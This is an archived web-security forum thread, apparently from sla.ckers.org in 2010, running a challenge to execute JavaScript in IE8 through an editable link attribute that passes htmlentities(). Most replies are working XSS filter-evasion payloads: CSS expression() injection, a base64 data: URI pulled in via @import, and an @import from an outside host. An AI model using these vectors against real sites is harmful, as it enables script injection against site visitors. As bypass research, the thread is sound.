Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
Script obfuscation, filter evasion, IDS/IPS/WAF bypassing... this is where it should live. Because this topic is too big to live anywhere else. Phj33r! 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
A little challenge
Posted by: Anonymous User
Date: August 29, 2010 03:46PM

Fresh challenge - execute JS on IE8 with this vector:

status: completed - @theharmonyguy won

<style /><a href="[can be edited]">click</a>

Winner gets a free book as soon as it's out :)

Additional rules:
* No breaking the attribute
* JS must execute w/o any user interaction
* No '`"()<> or entities of those
* Must work encoded with htmlentities() (test here)



Edited 7 time(s). Last edit at 08/30/2010 07:03AM by .mario.

Options: ReplyQuote
Re: A little challenge
Date: August 29, 2010 07:37PM

works in my IE8 .

<style /><a href="} body{xss:expression(alert(1))}">click</a>

Options: ReplyQuote
Re: A little challenge
Posted by: Ams
Date: August 30, 2010 05:56AM

How about this:
<style /><a href="}html{a:\65\78\70\72\65\73\73\69\6f\6e\28\61\6c\65\72\74\28\39\29\29}">text</a>

-------------------------------------------------------------------------------
http://www.0x416d73.name/

Options: ReplyQuote
Re: A little challenge
Posted by: Anonymous User
Date: August 30, 2010 06:01AM

@Ams: pretty damn good - but:

Quote

No '`"()<> or entities of those

So - not valid. But close!

Options: ReplyQuote
Re: A little challenge
Posted by: theharmonyguy
Date: August 30, 2010 06:44AM

How about this?

<style /><a href="}@import data:text/css%3Bbase64,Knt4OmV4cHJlc3Npb24oYWxlcnQoMSkpfQ%3D%3D;">click</a>

Options: ReplyQuote
Re: A little challenge
Posted by: Anonymous User
Date: August 30, 2010 06:53AM

@theharmonyguy That looks pretty neat and valid :D

A little extra challenge - can you do it w/o spaces?

Here's my solution (triple-click the text):
[[color=#ffffff]<style /><a href="#}@import//0x.lv/xss.css;">click</a>[/color]]



Edited 1 time(s). Last edit at 08/30/2010 07:08AM by .mario.

Options: ReplyQuote
Re: A little challenge
Posted by: theharmonyguy
Date: August 30, 2010 07:06AM

Yay! :)

As for no spaces...

<style /><a href="}@import/**/data:text/css%3Bbase64,Knt4OmV4cHJlc3Npb24oYWxlcnQoMSkpfQ%3D%3D;">click</a>

Options: ReplyQuote
Re: A little challenge
Posted by: Anonymous User
Date: August 30, 2010 05:55PM

@LeverOne can I haz participate too? ;) Btw - we can split the thread to give it the attention it deserves - what do you think?

Options: ReplyQuote
Re: A little challenge
Posted by: LeverOne
Date: August 30, 2010 08:49PM

Quote

can I haz participate too?

Please, send me via privat message. I want to see who else could it.

Quote

we can split the thread

This thread is more appropriate for the section "xss info", yes. On your own.

----------------------
~Veritas~

Options: ReplyQuote


Sorry, only registered users may post in this forum.